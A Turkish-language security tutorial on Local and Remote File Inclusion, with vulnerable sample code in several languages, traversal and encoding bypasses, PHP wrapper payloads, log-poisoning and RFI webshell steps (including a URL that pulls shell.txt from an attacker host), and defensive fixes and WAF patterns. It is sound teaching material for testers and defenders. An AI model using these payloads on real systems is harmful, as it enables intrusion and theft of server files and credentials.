Web uygulamaları günümüzde neredeyse her sektörde kritik bir rol oynuyor. E-ticaret sitelerinden kurumsal portallara, blog platformlarından devletlerin, ülkelerin sunduğu hizmetlere kadar geniş bir alanda web uygulamalarıyla etkileşim halindeyiz. Ancak bu uygulamaların arkasındaki kodlama hataları ve ihmalleri , ciddi güvenlik açıklarına yol açabiliyor. Bu yazımda, web uygulama güvenliğinde sıkça karşımıza çıkan ve doğru anlaşılması gereken File Inclusion (Dosya Dahil Etme) zafiyetlerini, yani LFI (Local File Inclusion) ve RFI (Remote File Inclusion) kavramlarını detaylıca ele almaya çalışacağım. Zafiyetin ne olduğundan başlayıp, farklı programlama dillerindeki örneklerine, bypass tekniklerine, pratik saldırı senaryolarına ve korunma yöntemlerine kadar her şeye değinmeye çalışacağım.

None

File Inclusion Nedir?

File Inclusion zafiyeti, bir web uygulamasının kullanıcıdan aldığı girdiyi yeterince doğrulamadan (validate etmeden) bir dosya yolunu oluşturmasıyla ortaya çıkan bir güvenlik açığıdır. Saldırgan, bu açığı kullanarak sunucu üzerindeki dosyalara yetkisiz erişim sağlayabilir veya uzak bir sunucudan zararlı kod çalıştırabilir.

Bunu günlük hayattan bir örnekle anlatmak gerekirse; bir kütüphane düşünelim. Katalog sistemine kitap adı yazıyorsunuz ve sistem size o kitabı getiriyor. Ancak sistem sadece "açık raf" bölümündeki kitapları getirmesi gerekirken, siz katalog numarasını manipüle ederek "yasaklı kitaplar" bölümünden veya "personel odası"ndaki belgelerden de kitap isteyebiliyorsunuz. İşte File Inclusion zafiyeti tam olarak budur: uygulamanın size sunmaması gerekendosyalara da erişmenizi sağlayan bir manipülasyon.

Zafiyetin Temel Mantığı: Dosya Dahil Etme Nasıl Çalışır?

Modern web uygulamaları genellikle modüler bir yapıda çalışır. Yani her sayfa sıfırdan yazılmaz; ortak bileşenler (header, footer, menü vb.) ayrı dosyalarda tutulur ve ihtiyaç duyulduğunda ana sayfaya "dahil edilir" (include). Bu, geliştiriciler için büyük bir kolaylık sağlar: bir değişiklik yapıldığında tüm sayfaları tek tek düzenlemek yerine, sadece dahil edilen dosyayı güncellemeniz yeterlidir.

Sorun şurada başlıyor: eğer hangi dosyanın dahil edileceğini kullanıcıdan gelen bir girdi belirliyorsa ve bu girdi doğru şekilde kontrol edilmiyorsa, saldırgan bu girdiyi manipüle ederek istediği dosyayı dahil ettirebilir.

Bu zafiyet en yaygın olarak PHP tabanlı web uygulamalarında görülür çünkü PHP'de include(), include_once(), require(), require_once() ve file_get_contents() gibi fonksiyonlar dosyaları dinamik olarak dahil etmek veya okumak için kullanılır. Ancak sadece PHP ile sınırlı değildir. Node.js, Java (JSP), Python ve hatta SSI (Server Side Includes) kullanan uygulamalar da bu zafiyetten etkilenebilir. Yazının ilerleyen bölümlerinde farklı dillerdeki örnekleri de yapay zekanın yardımıyla size göstermeye çalışacağım.

None

Farklı Programlama Dillerinde File Inclusion

File Inclusion zafiyetlerini anlatırken genellikle hep PHP örnekleri verilir. Ancak bu zafiyet farklı dillerde farklı şekillerde karşımıza çıkabilir. Her dilin dosya işleme fonksiyonları farklıdır ve her birinin kendine özgü riskleri vardır. Şimdi bu dilleri tek tek inceleyelim.

PHP'de File Inclusion

PHP'de dosya dahil etmek için kullanılan başlıca fonksiyonlar şunlardır: include() → Belirtilen dosyayı dahil eder, dosya bulunamazsa uyarı verir ama uygulama çalışmaya devam eder. include_once() → Aynı dosyayı birden fazla kez dahil etmesini engeller. require() → include ile aynıdır ancak dosya bulunamazsa uygulamayı tamamen durdurur (fatal error). require_once() → require'ın tekrarlı dahil etmeyi engelleyen versiyonudur. file_get_contents() → Bir dosyanın içeriğini string olarak okur.

Basit bir PHP örneği üzerinden gidelim:

<?php
   $page = $_GET['page'];
   include($page . ".php");
?>

Bu kodda kullanıcıdan gelen page parametresi doğrudan include() fonksiyonuna aktarılıyor. Normal kullanımda URL şu şekilde olabilir:

http://example.com/index.php?page=anasayfa

Bu durumda sunucu anasayfa.php dosyasını dahil edecektir ve herhangi bir sorun olmayacaktır. Peki ya bir saldırgan page parametresine farklı bir değer yazarsa ne olur?

http://example.com/index.php?page=../../../../../etc/passwd%00

Buradaki ../ ifadesi bir üst dizine çıkmamızı, %00 ise sonuna eklenen .php uzantısını kesmeyi sağlar. Böylece sunucu /etc/passwd dosyasını okumaya çalışacaktır. (Not: %00 Null Byte tekniği PHP 5.3.4 ve sonrasında yamalanmıştır. Bu konuya ileride değineceğiz.)

Node.js'de (JavaScript) File Inclusion

Node.js uygulamalarında da benzer durumlar ortaya çıkabilir. Özellikle fs.readFile() fonksiyonu ile dosya okuma işlemi yapılıyorsa ve kullanıcı girdisi doğrulanmıyorsa, LFI zafiyeti oluşur. Aşağıdaki Express.js uygulamasını inceleyelim:

const express = require('express');
const fs = require('fs');
const path = require('path');
const app = express();

app.get('/getfile', (req, res) => {
    const fileName = req.query.file;
    const filePath = path.join(__dirname, fileName);

    fs.readFile(filePath, 'utf8', (err, data) => {
        if (err) {
            res.status(404).send('Dosya bulunamadı');
            return;
        }
        res.send(data);
    });
});

Normal kullanımda bu uygulama readme.txt gibi dosyaları sunmak için tasarlanmıştır:

http://example.com/getfile?file=readme.txt

Ancak saldırgan şu URL'yi kullanırsa:

http://example.com/getfile?file=../../../etc/passwd

Node.js'deki path.join() fonksiyonu ../ dizin geçişlerini işleyeceği için saldırgan sunucudaki hassas dosyalara erişebilir. Burada dikkat etmemiz gereken önemli bir fark var: Node.js'de PHP'deki gibi include() ile dosya çalıştırılmaz, genellikle fs.readFile() ile dosya okunur. Bu yüzden Node.js'de LFI daha çok bilgi sızıntısına (information disclosure) yol açar. Ancak eğer uygulamada eval() veya child_process modülü gibi fonksiyonlar kullanılıyorsa, bu zafiyet uzaktan kod çalıştırmaya (RCE) kadar yükselebilir.

Java (JSP) ile File Inclusion

Java tabanlı web uygulamalarında JSP (Jakarta Server Pages, eski adıyla JavaServer Pages) dosyaları da file inclusion zafiyetine açık olabilir:

<%
   String p = request.getParameter("p");
   @include file="<%="includes/" + p + ".jsp"%>"
%>

Bu kodda p parametresi doğrudan dosya yoluna ekleniyor. Saldırgan şu şekilde bir istek göndererek zafiyeti sömürebilir:

http://example.com/vulnerable.jsp?p=../../../../var/log/access.log%00

Burada PHP'den farklı olarak önemli bir nokta var: JSP'de Null Byte Injection (%00) hâlâ etkili olabilir. PHP'de bu teknik 5.3.4 sürümüyle yamalanmıştı ancak bazı Java uygulamalarında bu yöntem hâlâ geçerlidir. Ayrıca JSP'de <c:import> etiketi kullanıldığında RFI zafiyeti de ortaya çıkabilir:

<c:import url="<%=request.getParameter("conf")%>">

Bu durumda saldırgan conf parametresine uzak bir URL vererek kendi zararlı dosyasını dahil ettirebilir.

Python'da File Inclusion

Python tabanlı web uygulamalarında da (özellikle Flask veya Django gibi framework'lerde) benzer durumlar oluşabilir:

from flask import Flask, request, send_file
import os

app = Flask(__name__)

@app.route('/download')
def download():
    filename = request.args.get('file')
    filepath = os.path.join('/var/www/uploads/', filename)
    return send_file(filepath)

Burada os.path.join() fonksiyonu kullanılıyor ancak gelen girdi doğrulanmıyor. Saldırgan şu isteği gönderebilir:

http://example.com/download?file=../../../../etc/passwd

Python'da os.path.join() fonksiyonunun ilginç bir davranışı vardır: eğer ikinci parametre / ile başlıyorsa, birinci parametreyi tamamen yok sayar. Bu da saldırganın mutlak yol (absolute path) kullanarak herhangi bir dosyaya doğrudan erişmesini sağlayabilir:

http://example.com/download?file=/etc/passwd

Bu durumda os.path.join('/var/www/uploads/', '/etc/passwd') fonksiyonunun çıktısı doğrudan /etc/passwd olacaktır.

SSI (Server Side Includes) ile File Inclusion

SSI, HTML sayfalarına sunucu tarafında dinamik içerik eklemek için kullanılan eski bir teknolojidir. Genellikle .shtml, .shtm veya .stm uzantılı dosyalarda kullanılır. SSI direktifleri HTML yorum etiketleri içinde yazılır:

<!--#include file="header.html" -->
<!--#include virtual="/footer.html" -->

Eğer kullanıcı girdisi SSI direktiflerine doğrudan enjekte edilebiliyorsa, saldırgan şu payload'ları kullanabilir:

<!--#include file="/etc/passwd" -->

Daha da tehlikelisi, SSI'ın exec direktifi ile sunucuda komut çalıştırmak mümkündür:

<!--#exec cmd="ls -la" -->
<!--#exec cmd="cat /etc/shadow" -->

SSI günümüzde çok yaygın kullanılmasa da eski web sunucularında hâlâ karşımıza çıkabilir. Bu yüzden sızma testlerinde .shtml uzantılı dosyaları ve SSI desteğini kontrol etmek önemlidir.

Gördüğümüz gibi, File Inclusion zafiyeti sadece PHP'ye özgü değildir. Her programlama dilinde dosya okuma veya dahil etme işlemi yapan fonksiyonlar mevcuttur ve bu fonksiyonlara kullanıcı girdisi doğrudan aktarıldığında zafiyet ortaya çıkar. Şimdi bu zafiyetin iki ana türünü detaylıca inceleyelim.

LFI (Local File Inclusion) — Yerel Dosya Dahil Etme

LFI, saldırganın hedef sunucu üzerindeki yerel dosyalara erişmesine olanak tanıyan bir zafiyet türüdür. Burada "yerel" kelimesi önemlidir; saldırgan sunucunun kendi dosya sistemindeki dosyalara erişir, dışarıdan bir dosya dahil etmez.

Temel LFI Saldırısı: Directory Traversal (Dizin Geçişi)

LFI saldırılarında en yaygın kullanılan teknik Directory Traversal yani dizin geçişidir. ../ (dot-dot-slash) notasyonu kullanılarak üst dizinlere çıkılır ve hedef dosyaya ulaşılır.

Bunu bir bina örneğiyle düşünelim: siz 5. kattasınız ve sadece 5. kattaki odalara erişmeniz gerekiyor. Ancak merdiven boşluğundan aşağı inerek (../) zemin kata, hatta bodrum katına bile ulaşabiliyorsunuz. İşte ../ tam olarak bunu yapar: bir üst dizine çıkmanızı sağlar.

Örneğin, Linux tabanlı bir sunucuda /etc/passwd dosyasını okumak için saldırgan şu URL'yi kullanabilir:

http://example.com/index.php?page=../../../../../etc/passwd

Burada her ../ bir üst dizine çıkmamızı sağlıyor. Web uygulaması genellikle /var/www/html/ gibi bir dizinde çalışır. Yeterli sayıda ../ kullanarak kök dizine (/) ulaşıp oradan /etc/passwd dosyasına erişiyoruz. Eğer sunucu bu girdiyi filtrelemiyorsa, karşımıza şuna benzer bir çıktı gelebilir:

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
alex:x:500:500:alex:/home/alex:/bin/bash

Windows tabanlı bir sunucu için ise benzer bir saldırı şu şekilde olabilir:

http://example.com/index.php?page=..\..\..\..\windows\win.ini

Windows'ta dizin ayırıcı olarak \ (backslash) kullanılır. Ancak çoğu web sunucusu hem / hem de \ karakterini kabul eder.

LFI ile Okunabilecek Kritik Dosyalar

LFI zafiyeti bulunduğunda, saldırganların hedef aldığı bazı kritik dosyalar vardır. Bu dosyaları bilmek hem saldırı hem de savunma tarafı için çok önemlidir.

Linux Sistemler İçin: /etc/passwd → Sistemdeki kullanıcı bilgileri (kullanıcı adları, UID/GID, home dizinleri)

/etc/shadow → Parola hash'leri (eğer yetki varsa, genellikle root yetkisi gerekir)

/etc/hosts → Ağ yapılandırması, iç ağdaki diğer sunucuların IP bilgileri

/etc/hostname → Sunucunun adı

/proc/self/environ → Ortam değişkenleri (environment variables), API anahtarları gibi hassas bilgiler içerebilir

/proc/self/cmdline → Çalışan uygulamanın komut satırı parametreleri

/var/log/apache2/access.log → Apache erişim logları (log poisoning için kullanılır)

/var/log/apache2/error.log → Apache hata logları

/var/log/nginx/access.log → Nginx erişim logları

/home/kullanici/.ssh/id_rsa → SSH özel anahtarı (sunucuya doğrudan erişim sağlayabilir)

/home/kullanici/.bash_history → Kullanıcının komut geçmişi /etc/crontab → Zamanlanmış görevler

Windows Sistemler İçin: C:\Windows\win.ini → Windows yapılandırma dosyası

C:\Windows\System32\drivers\etc\hosts → Hosts dosyası

C:\boot.ini → Eski Windows sistemlerinde boot yapılandırması

C:\xampp\apache\logs\access.log → XAMPP Apache logları

C:\inetpub\wwwroot\web.config → IIS yapılandırma dosyası (veritabanı bağlantı bilgileri içerebilir)

LFI'da İleri Seviye Bypass Teknikleri

Gerçek dünya senaryolarında sunucular genellikle basit ../ saldırılarına karşı bir şekilde korunmuş olur. Geliştirici, bir WAF (Web Application Firewall) veya basit bir filtre kullanarak ../ kalıbını engellemiş olabilir. Bu durumda saldırganlar çeşitli bypass (atlatma) teknikleri kullanır. Bu teknikleri bilmek hem Red Team (sızma testi yapanlar) hem de Blue Team (savunma yapanlar) için büyük önem taşır.

1. Null Byte Injection (%00)

Eğer uygulama dosya yolunun sonuna .php gibi bir uzantı ekliyorsa, Null Byte (%00) karakteri kullanılarak bu uzantı kesilebilir. Null Byte, C tabanlı dillerde string'in sona erdiğini belirten özel bir karakterdir. PHP arka planda C kütüphanelerini kullandığı için bu karakter, dosya yolunun geri kalanını yok saymasına neden olur:

http://example.com/index.php?page=../../../../../etc/passwd%00

Bu durumda PHP, ../../../../../etc/passwd.php yerine ../../../../../etc/passwd dosyasını okuyacaktır çünkü %00 karakterinden sonrasını yok sayar.

Önemli Not: Bu teknik PHP 5.3.4 sürümünden itibaren yamalanmıştır ve artık modern PHP sürümlerinde çalışmaz. Ancak eski PHP sürümleri kullanan sistemlerde hâlâ geçerli olabilir. JSP (Java) tarafında ise Null Byte tekniği hâlâ etkilidir.

2. Double Encoding (Çift Kodlama)

Bazı WAF (Web Application Firewall) sistemleri veya filtreler ../ kalıbını tespit edip engeller. Bu durumda URL encoding kullanılarak filtre atlatılmaya çalışılır. URL encoding, özel karakterleri %XX formatına dönüştürür:

Normal:         ../
URL Encode:     %2e%2e%2f
Double Encode:  %252e%252e%252f

Burada neler oluyor adım adım açıklayalım: . karakterinin URL encode hali %2e, / karakterinin URL encode hali %2f olur. Double encoding'de ise % karakteri tekrar encode edilir ve %25 olur. Sunucu ilk decode işleminde %252e%2e olur, ikinci decode işleminde %2e. olur.

Örnek bir payload:

http://example.com/index.php?page=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd

Eğer tek encoding çalışmazsa double encoding denenir:

http://example.com/index.php?page=%252e%252e%252f%252e%252e%252fetc%252fpasswd

3. Dot Filtre Bypass (İç İçe Traversal)

Bazı geliştiriciler basit bir güvenlik önlemi olarak ../ kalıbını bulup silmeye çalışır (string replace). Yani kod şöyle bir şey yapar:

$page = str_replace("../", "", $_GET['page']);

Bu durumda ../../../etc/passwd girdisi temizlenerek etc/passwd olur ve saldırı başarısız olur. Ancak saldırgan iç içe geçmiş (nested) traversal kullanırsa:

http://example.com/index.php?page=....//....//....//etc/passwd

Sunucu ../ kısmını sildiğinde geriye ne kalır? ....// ifadesinden ../ silindiğinde geriye ../ kalır. Yani filtre bir kez çalışır, siler ama kalan kısım yine ../ oluşturur. Bu sayede saldırı başarılı olur. Aynı mantıkla ....\/ veya ..../ gibi varyasyonlar da denenebilir.

4. Path Truncation (Yol Kesme)

PHP'nin eski sürümlerinde (5.3 öncesi) dosya yolu uzunluğu belirli bir limite sahipti. Linux'ta bu limit genellikle 4096 byte'tı. Bu limit aşıldığında dosya yolunun fazla kısmı kesilirdi. Saldırganlar bu davranışı kullanarak sonuna eklenen .php uzantısını kesebilirdi:

http://example.com/index.php?page=../../../../../etc/passwd/./././././././.[4096 byte'a kadar devam eder]

Bu teknik de modern PHP sürümlerinde çalışmaz ancak eski sistemlerde hâlâ geçerli olabilir.

5. PHP Wrapper'ları ile LFI

PHP'nin sunduğu stream wrapper'ları, LFI saldırılarında çok güçlü araçlar haline gelir. Bu wrapper'lar, verileri okurken veya yazarken çeşitli dönüşümler uygulamaya olanak tanır. PHP'nin sahip olduğu wrapper'lar sayesinde dosyaları farklı yöntemlerle okuyabilir, hatta kod çalıştırabiliriz.

php://filter — Kaynak Kodu Okuma

Bu wrapper en çok kullanılan ve en etkili olanlardan biridir. Dosya içeriğini base64 formatında encode ederek çıktı verir. Özellikle PHP dosyalarının kaynak kodunu okumak için kullanılır. Normalde bir PHP dosyasını include ettiğinizde, PHP kodu çalıştırılır ve size çıktısı gösterilir, kaynak kodu değil. Ancak php://filter ile dosya önce encode edildiği için PHP onu kod olarak çalıştıramaz ve size ham içeriği verir:

http://example.com/index.php?page=php://filter/convert.base64-encode/resource=config

Bu istek sonucunda ekranda base64 ile kodlanmış bir çıktı görürüz. Örneğin şöyle bir şey:

PD9waHAKJGRiX2hvc3QgPSAibG9jYWxob3N0IjsKJGRiX3VzZXIgPSAicm9vdCI7CiRkYl9wYXNz...

Bu çıktıyı herhangi bir base64 decoder aracı ile (terminalden echo "..." | base64 -d komutuyla veya online araçlarla) decode ettiğimizde config.php dosyasının kaynak koduna ulaşabiliriz. Bu kaynak kodun içinde veritabanı şifreleri, API anahtarları gibi hassas bilgiler bulunabilir.

Base64 haricinde ROT13 filtresi de kullanılabilir:

http://example.com/index.php?page=php://filter/read=string.rot13/resource=/etc/passwd

Bu durumda çıktı ROT13 ile encode edilmiş olarak gelir ve ROT13 decoder ile çözülebilir.

data:// Wrapper — Doğrudan Kod Çalıştırma

allow_url_include ayarı aktifse (php.ini'de On durumunda), data:// wrapper'ı kullanarak doğrudan PHP kodu çalıştırılabilir. Bu wrapper, veriyi bir URL gibi değil, doğrudan içerik olarak işler:

http://example.com/index.php?page=data://text/plain,<?php system('whoami'); ?>

Veya filtreleri atlatmak için base64 encode edilmiş hali kullanılabilir:

http://example.com/index.php?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==

Burada PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg== ifadesi <?php system('whoami'); ?> kodunun base64 halidir. Sunucu bu veriyi decode edip PHP kodu olarak çalıştırır.

php://input — POST İsteği ile Kod Çalıştırma

php://input wrapper'ı, HTTP POST body'sindeki veriyi PHP kodu olarak çalıştırır. Bu yöntemde payload URL'de değil, POST isteğinin gövdesinde gönderilir:

GET: http://example.com/index.php?page=php://input
POST Body: <?php system($_GET['cmd']); ?>

Bu yöntemi curl ile şu şekilde uygulayabilirsiniz:

curl -X POST "http://example.com/index.php?page=php://input" -d "<?php system('whoami'); ?>"

expect:// Wrapper — Sistem Komutu Çalıştırma

expect:// wrapper'ı doğrudan sistem komutlarını çalıştırmaya olanak tanır. Ancak bu wrapper PHP'de varsayılan olarak yüklü değildir, expect eklentisinin kurulu olması gerekir:

http://example.com/index.php?page=expect://ls
http://example.com/index.php?page=expect://whoami

Eğer expect eklentisi kurulu değilse, sunucu şuna benzer bir hata verecektir:

Warning: include(): Unable to find the wrapper "expect" - did you forget to enable it 
when you configured PHP?

zip:// Wrapper — ZIP Dosyası Üzerinden Kod Çalıştırma

Bu teknikte saldırgan, içinde PHP kodu bulunan bir ZIP dosyası yükler ve ardından zip:// wrapper'ı ile bu dosyayı dahil eder. Eğer hedef sistemde bir dosya yükleme fonksiyonu varsa bu yöntem kullanılabilir:

Adım 1: İçinde zararlı PHP kodu bulunan bir dosya oluşturun. (Örneğin shell.php) Adım 2: Bu dosyayı ZIP olarak sıkıştırın. (Örneğin shell.zip) Adım 3: ZIP dosyasını hedef sisteme yükleyin. (Dosya uzantısını .jpg olarak değiştirmeniz gerekebilir.) Adım 4: LFI zafiyeti ile bu dosyayı dahil edin:

http://example.com/index.php?page=zip://uploads/shell.jpg%23shell

Burada %23, # karakterinin URL encode halidir. zip:// wrapper'ı ZIP dosyasını açar ve içindeki shell.php dosyasını çalıştırır.

6. Log Poisoning (Log Zehirleme) — LFI'dan RCE'ye

Log Poisoning, LFI zafiyetini uzaktan kod çalıştırmaya (RCE — Remote Code Execution) dönüştürmek için kullanılan çok etkili bir tekniktir. Bu teknik, web sunucusunun log dosyalarına zararlı kod enjekte etmeyi ve ardından LFI ile bu log dosyasını dahil ederek kodu çalıştırmayı içerir. Adım adım nasıl çalıştığını görelim.

Adım 1 — Log Dosyasının Konumunu Tespit Etme:

İlk olarak web sunucusunun log dosyalarının nerede olduğunu bulmamız gerekir. Yaygın konumlar şunlardır:

Apache: /var/log/apache2/access.log /var/log/apache2/error.log

Nginx: /var/log/nginx/access.log /var/log/nginx/error.log

LFI zafiyetini kullanarak bu dosyaları okumayı deneyebiliriz:

http://example.com/index.php?page=../../../../../var/log/apache2/access.log

Eğer log dosyasının içeriğini görebiliyorsak, bir sonraki adıma geçebiliriz.

Adım 2 — Log Dosyasına PHP Kodu Enjekte Etme:

Apache'nin access.log dosyası her HTTP isteğinin bilgilerini kaydeder. Bu bilgiler arasında User-Agent başlığı da vardır. Saldırgan, User-Agent başlığına PHP kodu enjekte eder:

curl -A "<?php system(\$_GET['cmd']); ?>" http://example.com/

Bu istek Apache'nin access.log dosyasına şuna benzer bir satır yazar:

10.10.14.5 - - [18/Mar/2026:14:22:01 +0000] "GET / HTTP/1.1" 200 1234 "-" "<?php system($_GET['cmd']); ?>"

Artık log dosyasının içinde çalıştırılabilir PHP kodu var.

Adım 3 — LFI ile Log Dosyasını Dahil Etme ve Komut Çalıştırma:

Şimdi LFI zafiyetini kullanarak bu log dosyasını dahil ediyoruz ve cmd parametresi ile komut gönderiyoruz:

http://example.com/index.php?page=../../../../../var/log/apache2/access.log&cmd=whoami

Sunucu log dosyasını dahil ettiğinde, içindeki PHP kodu çalışacak ve whoami komutunun çıktısını göreceğiz. Bu noktadan sonra saldırgan cmd parametresiyle istediği komutu çalıştırabilir (reverse shell almak gibi).

Log Poisoning sadece access.log ile sınırlı değildir. Error log, mail log, SSH log gibi farklı log dosyaları da zehirlenebilir. Ayrıca /proc/self/environ dosyası üzerinden de benzer bir teknik uygulanabilir çünkü bu dosya HTTP başlıklarındaki bilgileri içerir.

7. Session File Inclusion (Oturum Dosyası Dahil Etme)

PHP'de oturum (session) bilgileri genellikle /tmp/ dizininde dosya olarak saklanır. Dosya adı sess_ ön eki ile başlar ve oturum ID'si ile devam eder (örneğin /tmp/sess_abc123def456).

Eğer saldırgan oturum ID'sini biliyorsa veya tahmin edebiliyorsa ve oturum verisine PHP kodu enjekte edebiliyorsa, LFI ile bu oturum dosyasını dahil ederek kod çalıştırabilir:

http://example.com/index.php?page=../../../../../tmp/sess_abc123def456

Bu tekniğin çalışabilmesi için oturum verisine PHP kodu enjekte edilebilmesi gerekir. Örneğin, kullanıcı adı alanına PHP kodu yazılabiliyorsa ve bu bilgi oturumda saklanıyorsa, bu yöntem işe yarar.

RFI (Remote File Inclusion) — Uzaktan Dosya Dahil Etme

RFI, saldırganın hedef sunucuya uzak bir sunucudan dosya dahil ettirmesine olanak tanıyan bir zafiyet türüdür. LFI'dan daha tehlikelidir çünkü saldırgan kendi kontrol ettiği sunucudaki zararlı kodu doğrudan hedef sistemde çalıştırabilir. LFI'da sunucunun kendi dosyalarıyla sınırlıyken, RFI'da saldırganın hayal gücü ve sunucusundaki dosyalar sınırdır.

RFI'ın Çalışabilmesi İçin Gerekli Koşullar

RFI zafiyetinin sömürülebilmesi için PHP yapılandırma dosyasında (php.ini) şu iki ayarın açık olması gerekir:

allow_url_fopen = On → URL'leri dosya gibi açmaya izin verir. Bu ayar, PHP'nin fopen(), file_get_contents() gibi fonksiyonlarla uzak URL'lere erişmesini sağlar.

allow_url_include = On → URL'lerin include() ve require() gibi fonksiyonlarda kullanılmasına izin verir.

Modern PHP sürümlerinde (PHP 5.2.0 ve sonrası) allow_url_include varsayılan olarak kapalıdır (Off). Bu nedenle RFI zafiyetleri LFI'ya kıyasla çok daha az yaygındır. Ancak eski veya yanlış yapılandırılmış sistemlerde hâlâ karşımıza çıkabilir.

Bu ayarları kontrol etmek için phpinfo() fonksiyonunu kullanabilirsiniz veya sunucuya erişiminiz varsa doğrudan php.ini dosyasını inceleyebilirsiniz.

Temel RFI Saldırısı

RFI saldırısının mantığı basittir: saldırgan, kendi sunucusunda zararlı bir dosya barındırır ve hedef uygulamayı bu dosyayı dahil etmeye zorlar.

Adım 1 — Saldırgan kendi sunucusunda zararlı dosyayı hazırlar (shell.txt):

<?php system($_GET['cmd']); ?>

Bu dosya .txt uzantılı oluşturulur çünkü saldırganın kendi sunucusunda PHP olarak çalıştırılmaması gerekir. Hedef sunucuda dahil edildiğinde PHP kodu olarak yorumlanacaktır.

Adım 2 — Saldırgan kendi web sunucusunu başlatır:

## Basit bir Python HTTP sunucusu
python3 -m http.server 8080

Adım 3 — Saldırı URL'sini oluşturur:

http://example.com/index.php?page=http://saldirgan-ip:8080/shell.txt

Hedef sunucu bu URL'yi aldığında, saldırganın sunucusundaki shell.txt dosyasını indirir ve PHP kodu olarak çalıştırır. Artık saldırgan cmd parametresi üzerinden sunucuda komut çalıştırabilir:

http://example.com/index.php?page=http://saldirgan-ip:8080/shell.txt&cmd=whoami

RFI'da Protokol Çeşitleri

Eğer http:// engelleniyorsa, saldırganlar farklı protokoller deneyebilir:

page=https://saldirgan.com/shell.txt
page=ftp://saldirgan.com/shell.txt
page=//saldirgan.com/shell.txt

// ile başlayan URL'ler, tarayıcının mevcut protokolünü (http veya https) kullanır. Bu yöntem bazı filtreleri atlatabilir.

None

Red Team ve Blue Team İçin File Inclusion

Red Team — Saldırı Perspektifi

Sızma testi uzmanları ve kırmızı takım üyeleri, File Inclusion zafiyetlerini tespit etmek ve sömürmek için sistematik adımlar izler:

Keşif Aşaması: URL parametrelerinde page=, file=, include=, template=, path=, doc=, folder=, style=, lang= gibi dosya dahil etme işaretleri aranır. Bu parametrelerin varlığı, potansiyel bir File Inclusion noktasına işaret edebilir. Ayrıca Burp Suite, ffuf, wfuzz gibi araçlarla gizli parametreler keşfedilebilir.

Test Aşaması: İlk olarak basit directory traversal payload'ları denenir: ../../../etc/passwd → Linux ..\..\..\windows\win.ini → Windows

Eğer bunlar çalışmazsa, filtre olduğu anlaşılır ve bypass teknikleri uygulanır: encoding, double encoding, iç içe traversal, PHP wrapper'ları gibi yöntemler sırasıyla denenir.

Sömürü Aşaması: LFI ile hassas bilgilere erişim sağlanır. Veritabanı şifreleri, API anahtarları, SSH anahtarları gibi bilgiler toplanır. Sonra log poisoning, PHP wrapper'ları veya session file inclusion gibi tekniklerle RCE elde edilmeye çalışılır. RFI mümkünse doğrudan reverse shell alınabilir.

Kullanılabilecek Bazı Araçlar: ffuf / wfuzz → Dosya yollarını brute-force yöntemiyle taramak için

Burp Suite → İstekleri manipüle etmek ve payload'ları test etmek için

LFISuite → Otomatik LFI keşfi ve sömürüsü için

fimap → Otomatik LFI tarama ve sömürü aracı

Kadimus → LFI zafiyetlerini tespit ve sömürü aracı

Blue Team — Savunma Perspektifi

Mavi takım ve güvenlik ekipleri, File Inclusion saldırılarına karşı çok katmanlı bir savunma stratejisi geliştirmelidir:

1. Input Validation — Girdi Doğrulama (En Kritik Adım):

Kullanıcıdan gelen tüm girdiler mutlaka doğrulanmalı ve sanitize edilmelidir. En güvenli yöntem whitelist (beyaz liste) yaklaşımıdır. Yani sadece izin verilen dosya adları kabul edilmelidir:

<?php
$izinli_sayfalar = ['anasayfa.php', 'hakkimizda.php', 'iletisim.php'];
$sayfa = $_GET['page'];
if (in_array($sayfa, $izinli_sayfalar)) {
    include("sayfalar/" . $sayfa);
} else {
    echo "Geçersiz sayfa isteği!";
}
?>

Node.js için benzer bir yaklaşım:

const allowedFiles = ['home', 'about', 'contact'];
const requestedFile = req.query.page;
if (allowedFiles.includes(requestedFile)) {
    // Dosyayı sun
} else {
    res.status(403).send('Erişim engellendi');
}

Python (Flask) için:

import os 
ALLOWED_FILES = ['readme.txt', 'help.txt', 'changelog.txt']
UPLOAD_DIR = '/var/www/uploads/'
@app.route('/download')
def download():
    filename = request.args.get('file')
    if filename not in ALLOWED_FILES:
        return "Geçersiz dosya!", 403
    
    filepath = os.path.join(UPLOAD_DIR, filename)
    real_path = os.path.realpath(filepath)
    
    if not real_path.startswith(UPLOAD_DIR):
        return "Yetkisiz erişim!", 403
    
    return send_file(real_path)

2. Path Traversal Koruması:

Whitelist uygulanamıyorsa, dosya yolunu normalize ettikten sonra izin verilen dizin içinde olup olmadığını kontrol edin. basename() fonksiyonu ile sadece dosya adını alarak dizin geçişini engelleyebilirsiniz:

<?php
$file = basename($_GET['page']);
include("pages/" . $file);
?>

basename() fonksiyonu ../../../etc/passwd girdisinden sadece passwd kısmını alır, böylece dizin geçişi engellenir.

3. PHP Yapılandırması (php.ini Sıkılaştırma):

allow_url_include = Off → Uzak dosya dahil etmeyi engeller (RFI koruması) allow_url_fopen = Off → Gerekli değilse kapatılmalıdır open_basedir = /var/www/html/ → PHP'nin erişebileceği dizinleri sınırlandırır. Bu ayar aktifken PHP, belirtilen dizin dışındaki dosyalara erişemez. disable_functions = system,exec,passthru,shell_exec → Tehlikeli fonksiyonları devre dışı bırakır

4. WAF (Web Application Firewall) Kullanımı:

Bir WAF kullanarak bilinen File Inclusion payload'larını ve kalıplarını engelleyebilirsiniz. WAF, ../, php://, data://, expect:// gibi şüpheli kalıpları tespit edip engelleyebilir. Ancak WAF tek başına yeterli değildir, sadece ek bir güvenlik katmanı olarak düşünülmelidir.

5. Log İzleme ve Alarm Mekanizmaları:

Sunucu loglarında ../, php://filter, data://, /etc/passwd, proc/self gibi şüpheli kalıpları izleyen alarm mekanizmaları kurulmalıdır. Bu tür istekler normal kullanıcı davranışı değildir ve bir saldırı girişimine işaret eder.

6. En Az Yetki Prensibi (Least Privilege):

Web sunucusu kullanıcısının (genellikle www-data veya apache) dosya sistemi üzerindeki yetkileri minimumda tutulmalıdır. Kritik sistem dosyalarına (örneğin /etc/shadow) web sunucusu kullanıcısının erişimi engellenmelidir. Log dosyaları da mümkünse web sunucusu kullanıcısının okuma yetkisi dışında tutulmalıdır.

LFI ve RFI Arasındaki Farklar — Özet

Dosya Kaynağı: 🔸 LFI → Sunucunun kendi yerel dosyaları 🔸 RFI → Uzak bir sunucudaki dosyalar

